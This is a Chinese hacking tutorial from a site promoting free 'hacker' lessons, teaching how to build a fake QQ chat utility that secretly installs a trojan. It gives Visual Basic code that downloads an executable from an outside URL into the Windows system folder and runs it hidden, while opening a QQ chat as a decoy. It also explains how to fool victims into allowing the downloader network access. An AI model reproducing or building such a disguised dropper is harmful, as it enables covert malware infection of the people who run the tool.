-----------------------------------------------------------------------------------

黑客动画吧 http://www.hack58.com

专业的黑客动画教程网站

免费学习黑客黑客技术

成为黑客不是梦。

打造国内最大的黑客动画网站

注意：所有教程全部对外免费开放

-----------------------------------------------------------------------------------
大家好，我是sdghgk.今天我们做一个QQ强制聊天工具+木马后门。当别人使用时，会自动下载木马并运行。

我们面临的问题是：我的木马后门不穿墙，当下载程序连接网络时，我们如何骗取对方允许下载者连接网络。

我先做一下

源码很简单，大家都能看懂，我就不多说了。

Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Private Sub Command1_Click()
r = URLDownloadToFile(0, "http://www.tc99.net/flash/1.exe", "c:\windows\system\hehe.exe", 0, 0)
If Dir("c:\windows\system\hehe.exe") <> "" Then
  Shell "cmd /c start tencent://Message/?Uin=" & Text1.Text, 0  
  If r = 0 Then
    Shell "c:\windows\system\hehe.exe", 0
  End If
Else
  MsgBox "无法连接网络", 0, "错误"
End If
End Sub

Private Sub Text1_Click()
Text1.Text = ""
End Sub

好了，运行一下。

如果禁止连接网络，就会出现错误提示。如果允许连接网络，程序会正常运行（我的木马是上幸，下载并运行

了，只是没有开QQ，出了个提示，但程序没问题。）这样使用者误以为使用这个

工具必须连接网络，实际上连接网络的是我们的下载者。

教程结束 QQ 623138892